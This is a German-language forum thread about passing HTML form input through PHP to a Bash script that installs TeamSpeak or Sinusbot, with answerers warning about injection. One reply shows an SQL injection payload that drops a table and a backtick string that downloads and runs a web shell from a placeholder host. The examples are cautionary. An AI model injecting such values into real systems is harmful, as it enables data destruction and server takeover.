PHP + Bash?

4 Antworten

In eine Datei schreiben kannst du mit file_put_contents. Wenn du die Datei irgendwie bearbeiten willst, musst du die Datei erst mit file_get_contents lesen, deine Änderungen durchführen und die Datei dann wieder schreiben.

Mir erschliesst sich aber nicht so ganz, was dein Ziel ist. Wenn du ein Bash-Script via PHP ausführst, welches einfach nur ein echo enthält, bringt das rein gar nix. Wo soll denn das echo angezeigt werden? Das geht ja dann ins Nichts.

Zudem öffnest du damit eine massive Sicherheitslücke. Statt eine E-Mail kann man einfach frisch fröhlich ein paar andere Befehle eingeben, woran dein Server unter Umständen nicht sonderlich Freude dran hat. Man kann versuchen, die Eingaben zu filtern, meist gibts dann aber doch immer einen Weg, diesen Filter zu umgehen. Am besten wäre es einfach, wenn du dann dieses "Feature" gar nicht erst einbaust.

Woher ich das weiß:Berufserfahrung – Informatiker Applikationsentwicklung
Justman 
Fragesteller
 08.01.2022, 22:45

Nun ja, ich dachte mir das so, ich habe schon ein fertig geschriebenes Bash Script wie:

wget https://files.teamspeak-services.com/releases/server/3.13.6/teamspeak3-server_linux_amd64-3.13.6.tar.bz2
bunzip2 teamspeak3*
tar xvf teamspeak3*

Dieses Bash Script soll ausgeführt werden, wenn man im HTML Formular, TeamSpeak installieren über ein select wählt

0
Lezurex  08.01.2022, 22:46
@Justman

Und wo genau wird dort jetzt eine E-Mail-Adresse benötigt?

0
Justman 
Fragesteller
 08.01.2022, 22:50
@Lezurex

Das war nur ein Beispiel... Wenn ich beispielweise dies habe:

https://www.sinusbot.com/dl/sinusbot.current.tar.bz2
bunzip2 sinusbot*
tar xvf sinusbot

Soll auch da das Bash Script ausgeführt werden, wenn man im HTML Formular, jedoch Sinusbot installieren über ein select wählt... Dazu soll noch, bevor das Bash Scipt ausgeführt wird, ein weiteres Fenster erscheinen, in dem man beispielsweise ein Haken setzt, wodurch YouTubeDL mit installiert wird! Ist der Haken nicht gesetzt, dann wird YouTubeDL halt nicht mit installiert

0
Lezurex  08.01.2022, 22:57
@Justman

Das mit dem YouTubeDL-Haken würde ich dann clientseitig mit ein paar wenigen Zeilen Javascript machen.

Solange du aber keine Eingaben eines Nutzers direkt in irgendeiner Weise einer interpretierten Sprache weitergibst, besteht da eigentlich keine Gefahr mehr, vorausgesetzt, du hast selber keine Kacke programmiert xD

Um also ein Shell-Script auszuführen, kannst du shell_exec nutzen.

Übrigens: Ich empfände es für besser, wenn du das Tar-Archiv nur einmal runterlädst und dann die Dateien pro Aufruf des Scriptes einfach an ihren Zielort kopierst. Dadurch ersparst du dir, als auch Teamspeak und Sinusbot Bandbreite.

0
Justman 
Fragesteller
 08.01.2022, 23:00
@Lezurex

Mit dem shell_exec würde ich aber nur das Bash Scipt ausführen, wie wäre denn der Code, um das mit dem Häkchen weiterzugeben?

0
Lezurex  08.01.2022, 23:01
@Justman

Ich würde für die beiden Dinge (Sinusbot und YoutubeDL) zwei separate Scripts machen. Dadurch entfällt jede Angriffsmöglichkeit.

0
Justman 
Fragesteller
 08.01.2022, 23:03
@Lezurex

Schon, nur wie übergebe ich das? Wenn ich also den Haken setze, dass das Bash dies dann installiert? Sprich:

Haken gesetzt => YouTubeDL installieren

Haken nicht gesetzt => YouTubeDL nicht installieren

Muss man ja dem Bash Script ja irgendwie wissen lassen

0
Lezurex  08.01.2022, 23:08
@Justman

So wie man das bei Bash nunmal macht. $1 ist das erste Argument. Dieses nutzt du dann in deinem Bash-Script. Aber wie gesagt, einfach keine Benutzereingaben als Argument übergeben.

0
Justman 
Fragesteller
 09.01.2022, 10:42
@Lezurex

Nun ja, nur wie und wo verwende ich dieses $1? Wie wird das abgefragt?

0
Lezurex  09.01.2022, 10:49
@Justman

Das verwendest du in deinem Bash-Script. Wenn du Argumente übergibst, werden die dort rein gespeichert.

0
Justman 
Fragesteller
 09.01.2022, 10:54
@Lezurex

Ja, nur wie wäre da der PHP Code? Ich muss dem PHP Script ja sagen, dass es das Bash Script kontaktieren und die Werte übergeben soll

0

Warum lässt du die Daten nicht direkt von PHP verarbeiten und ins Terminal ausgeben?

Justman 
Fragesteller
 08.01.2022, 22:36

Wie? In dem PHP Script baue ich einfach ein HTML Formular, was ansich egal ist, da über action dies sowieso erst in ein anderes PHP Script übergeben werden muss... Oder?

0
PhotonX  08.01.2022, 22:36
@Justman

Genau, das Formular muss nicht mal selbst eine PHP-Datei sein, kann auch einfach nur eine HTML-Datei sein.

0
Justman 
Fragesteller
 08.01.2022, 22:39
@PhotonX

Ist halt noch die Frage, wie das Bash Script das abfängt...

0
PhotonX  08.01.2022, 22:41
@Justman

Der Vorschläg wäre es, gar kein Bash ins Spiel zu bringen. Wenn du es schon von Bash ausgeben lassen möchtest, kannst du die Daten in eine Datei auf dem Server schreiben und die dann von Bash ausgeben lassen (mit cat, watch usw).

1
NackterGerd  08.05.2022, 23:30
@Justman

Für Formulare brauchst du erstmal nur HTML - geht natürlich auch mit PHP.

Die Auswertung machst du danach mit PHP.

Und die Anzeige kannst du doch gleich im PHP der Auswertung machen

0

Wozu brauchst du ein Bash-Script um um Daten auszugeben.

Warum nicht gleich PHP verwenden

Justman 
Fragesteller
 08.05.2022, 23:24

Da dieses Bashscript auf einem anderen Server liegen soll und die Werte erfässt

0
NackterGerd  09.05.2022, 21:31
@Justman

Und warum läuft auf den anderen Server dann nicht PHP?

Mit PHP kannst du die Daten erfassen, speichern und ausgeben.

Mit Bash-Script kannst du die Daten nicht auf anderen Server ubertragen

0

Why? https://www.php.net/manual/de/function.fwrite.php

Eingaben bitte nie ungefiltert und unvalidiert weiter verarbeiten, das geht oft schief und öffnet Hackern Tür und Tor.

Justman 
Fragesteller
 08.01.2022, 22:38

Was hat das mit dem Werten von dem HTML Formular in das Bash Script übergeben zu tun?

0
LeCux  08.01.2022, 22:49
@Justman

https://www.php.net/manual/en/function.shell-exec.php

Das geht alles.

Aber das was der User Dir schickt solltest Du immer wie rohe Eier behandeln. Nicht selten hat eine böswillige Eingabe irgendwas seltsames angerichtet:

SQL Injection z.B.

Example

txtUserId = getRequestString("UserId");

txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

And the following input:

User id: 

The valid SQL statement would look like this:

Result

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

Oder Spaß mit Shell:

Ich bestelle einmal `wget http://foo.bar/webshell && nohup webshell` - bitte Grün verpacken.

Bash und andere Shells interpretieren Dinge. Da muss man vorsichtig sein.

1
NackterGerd  09.05.2022, 21:34
@Justman

Was das mit dem Formular zu tun hat?

Sehr viel, wenn die Daten ungeprüft verarbeitet werden ist es möglich in deine Webseite einzudringen und dort Unfug zu machen

0